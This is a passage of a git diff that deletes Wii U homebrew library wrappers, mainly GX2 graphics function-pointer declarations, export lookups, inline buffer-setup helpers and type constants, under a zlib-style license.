*returnedFreeSize, int error, void *asyncParams); -extern int (* FSRollbackQuota)(void *pClient, void *pCmd, const char *path, int error); -extern int (* FSRollbackQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -extern int (* FSOpenDir)(void *pClient, void *pCmd, const char *path, int *dh, int errHandling); -extern int (* FSOpenDirAsync)(void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); -extern int (* FSReadDir)(void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); -extern int (* FSRewindDir)(void *pClient, void *pCmd, int dh, int errHandling); -extern int (* FSCloseDir)(void *pClient, void *pCmd, int dh, int errHandling); -extern int (* FSChangeDir)(void *pClient, void *pCmd, const char *path, int errHandling); -extern int (* FSChangeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -extern int (* FSMakeDir)(void *pClient, void *pCmd, const char *path, int errHandling); -extern int (* FSMakeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -extern int (* FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); -extern int (* FSOpenFileAsync)(void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); -extern int (* FSReadFile)(void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); -extern int (* FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling); - -extern int (* FSFlushFile)(void *pClient, void *pCmd, int fd, int error); -extern int (* FSTruncateFile)(void *pClient, void *pCmd, int fd, int error); -extern int (* FSGetStatFile)(void *pClient, void *pCmd, int fd, void *buffer, int error); -extern int (* FSSetPosFile)(void *pClient, void *pCmd, int fd, int pos, int error); -extern int (* FSWriteFile)(void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); - -#ifdef __cplusplus -} -#endif - -#endif // __FS_FUNCTIONS_H_ diff --git a/src/dynamic_libs/gx2_functions.c b/src/dynamic_libs/gx2_functions.c deleted file mode 100644 index b9bf671..0000000 --- a/src/dynamic_libs/gx2_functions.c +++ /dev/null @@ -1,162 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "gx2_types.h" -#include "utils/utils.h" - -EXPORT_DECL(void, GX2Init, u32 * init_attribs); -EXPORT_DECL(void, GX2Shutdown, void); -EXPORT_DECL(void, GX2Flush, void); -EXPORT_DECL(s32, GX2GetMainCoreId, void) ; -EXPORT_DECL(s32, GX2DrawDone, void); -EXPORT_DECL(void, GX2ClearColor, GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); -EXPORT_DECL(void, GX2SetViewport, f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); -EXPORT_DECL(void, GX2SetScissor, u32 x_orig, u32 y_orig, u32 wd, u32 ht); -EXPORT_DECL(void, GX2SetContextState, const GX2ContextState* state); -EXPORT_DECL(void, GX2DrawEx, s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); -EXPORT_DECL(void, GX2DrawIndexedEx, s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); -EXPORT_DECL(void, GX2ClearDepthStencilEx, GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); -EXPORT_DECL(void, GX2CopyColorBufferToScanBuffer, const GX2ColorBuffer *colorBuffer, s32 scan_target); -EXPORT_DECL(void, GX2SwapScanBuffers, void); -EXPORT_DECL(void, GX2SetTVEnable, s32 enable); -EXPORT_DECL(void, GX2SetSwapInterval, u32 swap_interval); -EXPORT_DECL(u32, GX2GetSwapInterval, void); -EXPORT_DECL(void, GX2WaitForVsync, void); -EXPORT_DECL(void, GX2CalcTVSize, s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); -EXPORT_DECL(void, GX2Invalidate, s32 invalidate_type, void * ptr, u32 buffer_size); -EXPORT_DECL(void, GX2SetTVBuffer, void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); -EXPORT_DECL(void, GX2CalcSurfaceSizeAndAlignment, GX2Surface *surface); -EXPORT_DECL(void, GX2InitDepthBufferRegs, GX2DepthBuffer *depthBuffer); -EXPORT_DECL(void, GX2InitColorBufferRegs, GX2ColorBuffer *colorBuffer); -EXPORT_DECL(void, GX2CalcColorBufferAuxInfo, GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); -EXPORT_DECL(void, GX2CalcDepthBufferHiZInfo, GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); -EXPORT_DECL(void, GX2InitDepthBufferHiZEnable, GX2DepthBuffer *depthBuffer, s32 hiZ_enable); -EXPORT_DECL(void, GX2SetupContextStateEx, GX2ContextState* state, s32 enable_profiling); -EXPORT_DECL(void, GX2SetColorBuffer, const GX2ColorBuffer *colorBuffer, s32 target); -EXPORT_DECL(void, GX2SetDepthBuffer, const GX2DepthBuffer *depthBuffer); -EXPORT_DECL(void, GX2SetAttribBuffer, u32 attr_index, u32 attr_size, u32 stride, const void* attr); -EXPORT_DECL(void, GX2InitTextureRegs, GX2Texture *texture); -EXPORT_DECL(void, GX2InitSampler, GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); -EXPORT_DECL(u32, GX2CalcFetchShaderSizeEx, u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); -EXPORT_DECL(void, GX2InitFetchShaderEx, GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); -EXPORT_DECL(void, GX2SetFetchShader, const GX2FetchShader* fs); -EXPORT_DECL(void, GX2SetVertexUniformReg, u32 offset, u32 count, const void *values); -EXPORT_DECL(void, GX2SetPixelUniformReg, u32 offset, u32 count, const void *values); -EXPORT_DECL(void, GX2SetPixelTexture, const GX2Texture *texture, u32 texture_hw_location); -EXPORT_DECL(void, GX2SetVertexTexture, const GX2Texture *texture, u32 texture_hw_location); -EXPORT_DECL(void, GX2SetPixelSampler, const GX2Sampler *sampler, u32 sampler_hw_location); -EXPORT_DECL(void, GX2SetVertexSampler, const GX2Sampler *sampler, u32 sampler_hw_location); -EXPORT_DECL(void, GX2SetPixelShader, const GX2PixelShader* pixelShader); -EXPORT_DECL(void, GX2SetVertexShader, const GX2VertexShader* vertexShader); -EXPORT_DECL(void, GX2InitSamplerZMFilter, GX2Sampler *sampler, s32 z_filter, s32 mip_filter); -EXPORT_DECL(void, GX2SetColorControl, s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); -EXPORT_DECL(void, GX2SetDepthOnlyControl, s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); -EXPORT_DECL(void, GX2SetBlendControl, s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); -EXPORT_DECL(void, GX2CalcDRCSize, s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); -EXPORT_DECL(void, GX2SetDRCBuffer, void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); -EXPORT_DECL(void, GX2SetDRCScale, u32 width, u32 height); -EXPORT_DECL(void, GX2SetDRCEnable, s32 enable); -EXPORT_DECL(void, GX2SetPolygonControl, s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); -EXPORT_DECL(void, GX2SetCullOnlyControl, s32 front_face_mode, s32 cull_front, s32 cull_back); -EXPORT_DECL(void, GX2SetDepthStencilControl, s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, - s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, - s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); -EXPORT_DECL(void, GX2SetStencilMask, u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); -EXPORT_DECL(void, GX2SetLineWidth, f32 width); -EXPORT_DECL(void, GX2SetTVGamma, f32 val); -EXPORT_DECL(void, GX2SetDRCGamma, f32 gam); -EXPORT_DECL(s32, GX2GetSystemTVScanMode, void); -EXPORT_DECL(s32, GX2GetSystemDRCScanMode, void); -EXPORT_DECL(void, GX2RSetAllocator, void * (* allocFunc)(u32, u32, u32), void (* freeFunc)(u32, void*)); - - -void InitGX2FunctionPointers(void) -{ - unsigned int *funcPointer = 0; - unsigned int gx2_handle; - OSDynLoad_Acquire("gx2.rpl", &gx2_handle); - - OS_FIND_EXPORT(gx2_handle, GX2Init); - OS_FIND_EXPORT(gx2_handle, GX2Shutdown); - OS_FIND_EXPORT(gx2_handle, GX2Flush); - OS_FIND_EXPORT(gx2_handle, GX2GetMainCoreId); - OS_FIND_EXPORT(gx2_handle, GX2DrawDone); - OS_FIND_EXPORT(gx2_handle, GX2ClearColor); - OS_FIND_EXPORT(gx2_handle, GX2SetViewport); - OS_FIND_EXPORT(gx2_handle, GX2SetScissor); - OS_FIND_EXPORT(gx2_handle, GX2SetContextState); - OS_FIND_EXPORT(gx2_handle, GX2DrawEx); - OS_FIND_EXPORT(gx2_handle, GX2DrawIndexedEx); - OS_FIND_EXPORT(gx2_handle, GX2ClearDepthStencilEx); - OS_FIND_EXPORT(gx2_handle, GX2CopyColorBufferToScanBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SwapScanBuffers); - OS_FIND_EXPORT(gx2_handle, GX2SetTVEnable); - OS_FIND_EXPORT(gx2_handle, GX2SetSwapInterval); - OS_FIND_EXPORT(gx2_handle, GX2GetSwapInterval); - OS_FIND_EXPORT(gx2_handle, GX2WaitForVsync); - OS_FIND_EXPORT(gx2_handle, GX2CalcTVSize); - OS_FIND_EXPORT(gx2_handle, GX2Invalidate); - OS_FIND_EXPORT(gx2_handle, GX2SetTVBuffer); - OS_FIND_EXPORT(gx2_handle, GX2CalcSurfaceSizeAndAlignment); - OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferRegs); - OS_FIND_EXPORT(gx2_handle, GX2InitColorBufferRegs); - OS_FIND_EXPORT(gx2_handle, GX2CalcColorBufferAuxInfo); - OS_FIND_EXPORT(gx2_handle, GX2CalcDepthBufferHiZInfo); - OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferHiZEnable); - OS_FIND_EXPORT(gx2_handle, GX2SetupContextStateEx); - OS_FIND_EXPORT(gx2_handle, GX2SetColorBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SetDepthBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SetAttribBuffer); - OS_FIND_EXPORT(gx2_handle, GX2InitTextureRegs); - OS_FIND_EXPORT(gx2_handle, GX2InitSampler); - OS_FIND_EXPORT(gx2_handle, GX2CalcFetchShaderSizeEx); - OS_FIND_EXPORT(gx2_handle, GX2InitFetchShaderEx); - OS_FIND_EXPORT(gx2_handle, GX2SetFetchShader); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexUniformReg); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelUniformReg); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelTexture); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexTexture); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelSampler); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexSampler); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelShader); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexShader); - OS_FIND_EXPORT(gx2_handle, GX2InitSamplerZMFilter); - OS_FIND_EXPORT(gx2_handle, GX2SetColorControl); - OS_FIND_EXPORT(gx2_handle, GX2SetDepthOnlyControl); - OS_FIND_EXPORT(gx2_handle, GX2SetBlendControl); - OS_FIND_EXPORT(gx2_handle, GX2CalcDRCSize); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCScale); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCEnable); - OS_FIND_EXPORT(gx2_handle, GX2SetPolygonControl); - OS_FIND_EXPORT(gx2_handle, GX2SetCullOnlyControl); - OS_FIND_EXPORT(gx2_handle, GX2SetDepthStencilControl); - OS_FIND_EXPORT(gx2_handle, GX2SetStencilMask); - OS_FIND_EXPORT(gx2_handle, GX2SetLineWidth); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCGamma); - OS_FIND_EXPORT(gx2_handle, GX2SetTVGamma); - OS_FIND_EXPORT(gx2_handle, GX2GetSystemTVScanMode); - OS_FIND_EXPORT(gx2_handle, GX2GetSystemDRCScanMode); - OS_FIND_EXPORT(gx2_handle, GX2RSetAllocator); -} diff --git a/src/dynamic_libs/gx2_functions.h b/src/dynamic_libs/gx2_functions.h deleted file mode 100644 index 1737833..0000000 --- a/src/dynamic_libs/gx2_functions.h +++ /dev/null @@ -1,205 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __GX2_FUNCTIONS_H_ -#define __GX2_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include "gx2_types.h" - -void InitGX2FunctionPointers(void); - -extern void (* GX2Init)(u32 * init_attribs); -extern void (* GX2Shutdown)(void); -extern void (* GX2Flush)(void); -extern s32 (* GX2GetMainCoreId)(void) ; -extern s32 (* GX2DrawDone)(void); -extern void (* GX2ClearColor)(GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); -extern void (* GX2SetViewport)(f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); -extern void (* GX2SetScissor)(u32 x_orig, u32 y_orig, u32 wd, u32 ht); -extern void (* GX2SetContextState)(const GX2ContextState* state); -extern void (* GX2DrawEx)(s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); -extern void (* GX2DrawIndexedEx)(s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); -extern void (* GX2ClearDepthStencilEx)(GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); -extern void (* GX2CopyColorBufferToScanBuffer)(const GX2ColorBuffer *colorBuffer, s32 scan_target); -extern void (* GX2SwapScanBuffers)(void); -extern void (* GX2SetTVEnable)(s32 enable); -extern void (* GX2SetSwapInterval)(u32 swap_interval); -extern u32 (* GX2GetSwapInterval)(void); -extern void (* GX2WaitForVsync)(void); -extern void (* GX2CalcTVSize)(s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); -extern void (* GX2Invalidate)(s32 invalidate_type, void * ptr, u32 buffer_size); -extern void (* GX2SetTVBuffer)(void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); -extern void (* GX2CalcSurfaceSizeAndAlignment)(GX2Surface *surface); -extern void (* GX2InitDepthBufferRegs)(GX2DepthBuffer *depthBuffer); -extern void (* GX2InitColorBufferRegs)(GX2ColorBuffer *colorBuffer); -extern void (* GX2CalcColorBufferAuxInfo)(GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); -extern void (* GX2CalcDepthBufferHiZInfo)(GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); -extern void (* GX2InitDepthBufferHiZEnable)(GX2DepthBuffer *depthBuffer, s32 hiZ_enable); -extern void (* GX2SetupContextStateEx)(GX2ContextState* state, s32 enable_profiling); -extern void (* GX2SetColorBuffer)(const GX2ColorBuffer *colorBuffer, s32 target); -extern void (* GX2SetDepthBuffer)(const GX2DepthBuffer *depthBuffer); -extern void (* GX2SetAttribBuffer)(u32 attr_index, u32 attr_size, u32 stride, const void* attr); -extern void (* GX2InitTextureRegs)(GX2Texture *texture); -extern void (* GX2InitSampler)(GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); -extern u32 (* GX2CalcFetchShaderSizeEx)(u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); -extern void (* GX2InitFetchShaderEx)(GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); -extern void (* GX2SetFetchShader)(const GX2FetchShader* fs); -extern void (* GX2SetVertexUniformReg)(u32 offset, u32 count, const void *values); -extern void (* GX2SetPixelUniformReg)(u32 offset, u32 count, const void *values); -extern void (* GX2SetPixelTexture)(const GX2Texture *texture, u32 texture_hw_location); -extern void (* GX2SetVertexTexture)(const GX2Texture *texture, u32 texture_hw_location); -extern void (* GX2SetPixelSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); -extern void (* GX2SetVertexSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); -extern void (* GX2SetPixelShader)(const GX2PixelShader* pixelShader); -extern void (* GX2SetVertexShader)(const GX2VertexShader* vertexShader); -extern void (* GX2InitSamplerZMFilter)(GX2Sampler *sampler, s32 z_filter, s32 mip_filter); -extern void (* GX2SetColorControl)(s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); -extern void (* GX2SetDepthOnlyControl)(s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); -extern void (* GX2SetBlendControl)(s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); -extern void (* GX2CalcDRCSize)(s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); -extern void (* GX2SetDRCBuffer)(void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); -extern void (* GX2SetDRCScale)(u32 width, u32 height); -extern void (* GX2SetDRCEnable)(s32 enable); -extern void (* GX2SetPolygonControl)(s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); -extern void (* GX2SetCullOnlyControl)(s32 front_face_mode, s32 cull_front, s32 cull_back); -extern void (* GX2SetDepthStencilControl)(s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, - s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, - s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); -extern void (* GX2SetStencilMask)(u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); -extern void (* GX2SetLineWidth)(f32 width); -extern void (* GX2SetTVGamma)(f32 val); -extern void (* GX2SetDRCGamma)(f32 val); -extern s32 (* GX2GetSystemTVScanMode)(void); -extern s32 (* GX2GetSystemDRCScanMode)(void); -extern void (* GX2RSetAllocator)(void * (*allocFunc)(u32, u32, u32), void (*freeFunc)(u32, void*)); - -static inline void GX2InitDepthBuffer(GX2DepthBuffer *depthBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) -{ - depthBuffer->surface.dimension = dimension; - depthBuffer->surface.width = width; - depthBuffer->surface.height = height; - depthBuffer->surface.depth = depth; - depthBuffer->surface.num_mips = 1; - depthBuffer->surface.format = format; - depthBuffer->surface.aa = aa; - depthBuffer->surface.use = ((format==GX2_SURFACE_FORMAT_D_D24_S8_UNORM) || (format==GX2_SURFACE_FORMAT_D_D24_S8_FLOAT)) ? GX2_SURFACE_USE_DEPTH_BUFFER : GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE; - depthBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; - depthBuffer->surface.swizzle = 0; - depthBuffer->view_mip = 0; - depthBuffer->view_first_slice = 0; - depthBuffer->view_slices_count = depth; - depthBuffer->clear_depth = 1.0f; - depthBuffer->clear_stencil = 0; - depthBuffer->hiZ_data = NULL; - depthBuffer->hiZ_size = 0; - GX2CalcSurfaceSizeAndAlignment(&depthBuffer->surface); - GX2InitDepthBufferRegs(depthBuffer); -} - -static inline void GX2InitColorBuffer(GX2ColorBuffer *colorBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) -{ - colorBuffer->surface.dimension = dimension; - colorBuffer->surface.width = width; - colorBuffer->surface.height = height; - colorBuffer->surface.depth = depth; - colorBuffer->surface.num_mips = 1; - colorBuffer->surface.format = format; - colorBuffer->surface.aa = aa; - colorBuffer->surface.use = GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV; - colorBuffer->surface.image_size = 0; - colorBuffer->surface.image_data = NULL; - colorBuffer->surface.mip_size = 0; - colorBuffer->surface.mip_data = NULL; - colorBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; - colorBuffer->surface.swizzle = 0; - colorBuffer->surface.align = 0; - colorBuffer->surface.pitch = 0; - u32 i; - for(i = 0; i < 13; i++) - colorBuffer->surface.mip_offset[i] = 0; - colorBuffer->view_mip = 0; - colorBuffer->view_first_slice = 0; - colorBuffer->view_slices_count = depth; - colorBuffer->aux_data = NULL; - colorBuffer->aux_size = 0; - for(i = 0; i < 5; i++) - colorBuffer->regs[i] = 0; - - GX2CalcSurfaceSizeAndAlignment(&colorBuffer->surface); - GX2InitColorBufferRegs(colorBuffer); -} - -static inline void GX2InitAttribStream(GX2AttribStream* attr, u32 location, u32 buffer, u32 offset, s32 format) -{ - attr->location = location; - attr->buffer = buffer; - attr->offset = offset; - attr->format = format; - attr->index_type = 0; - attr->divisor = 0; - attr->destination_selector = attribute_dest_comp_selector[format & 0xff]; - attr->endian_swap = GX2_ENDIANSWAP_DEFAULT; -} - -static inline void GX2InitTexture(GX2Texture *tex, u32 width, u32 height, u32 depth, u32 num_mips, s32 format, s32 dimension, s32 tile) -{ - tex->surface.dimension = dimension; - tex->surface.width = width; - tex->surface.height = height; - tex->surface.depth = depth; - tex->surface.num_mips = num_mips; - tex->surface.format = format; - tex->surface.aa = GX2_AA_MODE_1X; - tex->surface.use = GX2_SURFACE_USE_TEXTURE; - tex->surface.image_size = 0; - tex->surface.image_data = NULL; - tex->surface.mip_size = 0; - tex->surface.mip_data = NULL; - tex->surface.tile = tile; - tex->surface.swizzle = 0; - tex->surface.align = 0; - tex->surface.pitch = 0; - u32 i; - for(i = 0; i < 13; i++) - tex->surface.mip_offset[i] = 0; - tex->view_first_mip = 0; - tex->view_mips_count = num_mips; - tex->view_first_slice = 0; - tex->view_slices_count = depth; - tex->component_selector = texture_comp_selector[format & 0x3f]; - for(i = 0; i < 5; i++) - tex->regs[i] = 0; - - GX2CalcSurfaceSizeAndAlignment(&tex->surface); - GX2InitTextureRegs(tex); -} - -#ifdef __cplusplus -} -#endif - -#endif // __GX2_FUNCTIONS_H_ diff --git a/src/dynamic_libs/gx2_types.h b/src/dynamic_libs/gx2_types.h deleted file mode 100644 index e292318..0000000 --- a/src/dynamic_libs/gx2_types.h +++ /dev/null @@ -1,699 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef _GX2_TYPES_H_ -#define _GX2_TYPES_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -//!----------------------------------------------------------------------------------------------------------------------- -//! Constants -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_COMMAND_BUFFER_SIZE 0x400000 -#define GX2_SCAN_BUFFER_ALIGNMENT 0x1000 -#define GX2_SHADER_ALIGNMENT 0x100 -#define GX2_CONTEXT_STATE_ALIGNMENT 0x100 -#define GX2_DISPLAY_LIST_ALIGNMENT 0x20 -#define GX2_VERTEX_BUFFER_ALIGNMENT 0x40 -#define GX2_INDEX_BUFFER_ALIGNMENT 0x20 - -#define GX2_CONTEXT_STATE_SIZE 0xA100 - -#define GX2_AUX_BUFFER_CLEAR_VALUE 0xCC - -//!----------------------------------------------------------------------------------------------------------------------- -//! Common -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_FALSE 0 -#define GX2_TRUE 1 -#define GX2_DISABLE 0 -#define GX2_ENABLE 1 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2InitAttrib -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_INIT_ATTRIB_NULL 0 -#define GX2_INIT_ATTRIB_CB_BASE 1 -#define GX2_INIT_ATTRIB_CB_SIZE 2 -#define GX2_INIT_ATTRIB_ARGC 7 -#define GX2_INIT_ATTRIB_ARGV 8 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 compare functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_COMPARE_NEVER 0 -#define GX2_COMPARE_LESS 1 -#define GX2_COMPARE_EQUAL 2 -#define GX2_COMPARE_LEQUAL 3 -#define GX2_COMPARE_GREATER 4 -#define GX2_COMPARE_NOTEQUAL 5 -#define GX2_COMPARE_GEQUAL 6 -#define GX2_COMPARE_ALWAYS 7 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 stencil functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_STENCIL_KEEP 0 -#define GX2_STENCIL_ZERO 1 -#define GX2_STENCIL_REPLACE 2 -#define GX2_STENCIL_INCR 3 -#define GX2_STENCIL_DECR 4 -#define GX2_STENCIL_INVERT 5 -#define GX2_STENCIL_INCR_WRAP 6 -#define GX2_STENCIL_DECR_WRAP 7 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 logic op functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_LOGIC_OP_CLEAR 0x00 -#define GX2_LOGIC_OP_NOR 0x11 -#define GX2_LOGIC_OP_INVAND 0x22 -#define GX2_LOGIC_OP_INVCOPY 0x33 -#define GX2_LOGIC_OP_REVAND 0x44 -#define GX2_LOGIC_OP_INV 0x55 -#define GX2_LOGIC_OP_XOR 0x66 -#define GX2_LOGIC_OP_NAND 0x77 -#define GX2_LOGIC_OP_AND 0x88 -#define GX2_LOGIC_OP_EQUIV 0x99 -#define GX2_LOGIC_OP_NOOP 0xAA -#define GX2_LOGIC_OP_INVOR 0xBB -#define GX2_LOGIC_OP_COPY 0xCC -#define GX2_LOGIC_OP_REVOR 0xDD -#define GX2_LOGIC_OP_OR 0xEE -#define GX2_LOGIC_OP_SET 0xFF - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 blend combination functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_BLEND_COMBINE_ADD 0x00 -#define GX2_BLEND_COMBINE_SRC_MINUS_DST 0x01 -#define GX2_BLEND_COMBINE_MIN 0x02 -#define GX2_BLEND_COMBINE_MAX 0x03 -#define GX2_BLEND_COMBINE_DST_MINUS_SRC 0x04 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 blend functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_BLEND_ZERO 0x00 -#define GX2_BLEND_ONE 0x01 -#define GX2_BLEND_SRC_ALPHA 0x04 -#define GX2_BLEND_ONE_MINUS_SRC_ALPHA 0x05 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 render targets -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_RENDER_TARGET_0 0 -#define GX2_RENDER_TARGET_1 1 -#define GX2_RENDER_TARGET_2 2 -#define GX2_RENDER_TARGET_3 3 -#define GX2_RENDER_TARGET_4 4 -#define GX2_RENDER_TARGET_5 5 -#define GX2_RENDER_TARGET_6 6 -#define GX2_RENDER_TARGET_7 7 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 cull modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_FRONT_FACE_CCW 0 -#define GX2_FRONT_FACE_CW 1 -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 polygon modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_POLYGON_MODE_POINT 0 -#define GX2_POLYGON_MODE_LINE 1 -#define GX2_POLYGON_MODE_TRIANGLE 2 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 special states -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SPECIAL_STATE_CLEAR 0 -#define GX2_SPECIAL_STATE_CLEAR_HIZ 1 -#define GX2_SPECIAL_STATE_COPY 2 -#define GX2_SPECIAL_STATE_EXPAND_COLOR 3 -#define 